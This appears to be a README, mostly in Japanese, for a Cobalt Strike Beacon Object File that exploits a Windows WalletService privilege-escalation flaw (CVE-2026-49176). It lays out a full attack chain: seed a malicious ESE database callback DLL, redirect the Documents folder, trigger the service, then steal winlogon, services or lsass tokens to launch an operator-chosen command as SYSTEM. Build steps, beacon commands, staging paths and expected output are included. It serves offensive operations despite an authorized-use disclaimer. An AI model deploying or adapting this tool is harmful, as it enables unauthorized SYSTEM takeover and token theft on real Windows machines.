
Cobalt Strike Beacon Object File (BOF) で、Windows WalletService(CVE-2026-49176、2026年7月に修正)を介したローカル特権昇格を実現します。
中整合性(標準ユーザー)のBeaconから、このツールは悪意のあるWallet ESEデータベースをステージングし、DocumentsをリダイレクトしてWalletServiceをトリガーし、呼び出し元が指定したコマンドラインを対話型デスクトップ上で**NT AUTHORITY\SYSTEM**として実行します。
BOF専用ツリー。
オリジナルのスタンドアロンPowerShell PoC: DavidCarliez/CVE-2026-49176_LPE_POC。同一の脆弱性が根本原因。配信方法とSYSTEM権限取得後のプロセス起動が異なります。
認可されたセキュリティ研究、教育、および防御的検証の目的にのみ使用してください。
WalletServiceは呼び出し元を偽装した状態でFOLDERID_Documentsを解決し、ファイルを開く前にLocalSystemへ戻ります:
<Documents>\Wallet\wallet.db
標準ユーザーは、そのデータベースにESEのユーザー定義デフォルトコールバック(PATH\payload.dll!Export)をシードし、Documentsを制御下のディレクトリに指定して、WinRT WalletManager.RequestStoreAsync / GetItemsAsync を呼び出すことで、サービスにDLLをSYSTEMとしてロードさせることができます。
解説記事: CVE-2026-49176 エクスプロイト開発:WalletServiceからSYSTEMへ
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
WalletServiceは多くの場合、フィルタリングされたSYSTEMトークン(利用可能なSeAssignPrimaryToken / SeImpersonateなし)を使用します。直接CreateProcess*を呼び出すと、1314 になります。
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
bof_pack("bbZ") で wallet_callback.dll + shell_broker.exe をパッキングresult.txt による診断| 項目 | 要件 |
|---|---|
| Beacon | x64、中整合性() |
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
cd bof
build.bat
| コマンド | 出力 |
|---|---|
build.bat / build.bat both | DLL + broker + x64 BOF |
build.bat payload | DLL + brokerのみ |
build.bat clean | 成果物の削除 |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
VSがデフォルト以外の場所にある場合は、build.bat 内の VCVARS64 パスを編集してください。
重要フラグ: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od(CS BOFリンカーの安全性確保)。
Cobalt Strike → Scripts → Load → cve2026_49176.cna
(再ビルドのたびに再ロードしてください。)
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
detail= は winlogon、services、lsass、またはbrokerパスのいずれかになります。
リダイレクトが成功した場合、失敗時でもDocumentsは復元されます。
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + コールバックDLLOpenProcess / トークンAPICVE49176_*CreateProcessAsUserW / CreateProcessWithTokenW| リンク | 説明 |
|---|---|
| DavidCarliez/CVE-2026-49176_LPE_POC | オリジナルのスタンドアロンLPE PoC(アップストリームの研究用PoC) |
| 解説記事 | オリジナルの研究記事 |
| 段階 | Original PoC | 本BOF |
|---|
| ESE DBのシード | wallet_ese_seed.exe | BOF内 Jet*A |
| Documentsのリダイレクト | documents_path.exe | BOF内 SHGet/SetKnownFolderPath |
| Walletのトリガー | PowerShell WinRT | BOF内 RoGetActivationFactory |
| コールバックDLL | wallet_callback_shell.dll | wallet_callback.dll |
| Original PoC | 本BOF |
|---|
| 目標プロセス | ハードコードされた cmd.exe | オペレーター指定のコマンドライン |
| 主要手法 | 一時サービス → shell_broker.exe → CreateProcessAsUserW | winlogon / services / lsass からトークン窃取 → 起動 |
| フォールバック | なし | SCM + cmd.exe /c "shell_broker.exe" "result.txt" |
| 対象 | 脆弱性のあるWalletService(2026年7月パッチ適用前) |
| CS | BOFサポート付きCobalt Strike 4.x |
| ビルド | VS 2019/2022 C++ + Windows 10 SDK(esent.h、WinRT) |
| ログ | 意味 |
|---|
JetAddColumn: -1003 | ESEパラメータの問題 |
error=1314 | フィルタリングされたSYSTEM。トークン窃取 / brokerが必要 |
STEAL_FAIL error=5 | 対象プロセス/トークンを開けない |
StartService error=32 | 共有違反(cmdラッパーで緩和) |
detail=all_methods | SYSTEM権限取得後の全戦略が失敗 |
リンカー Unknown symbol '??_C@_...' | BOFビルドフラグが不正。build.bat で再ビルド |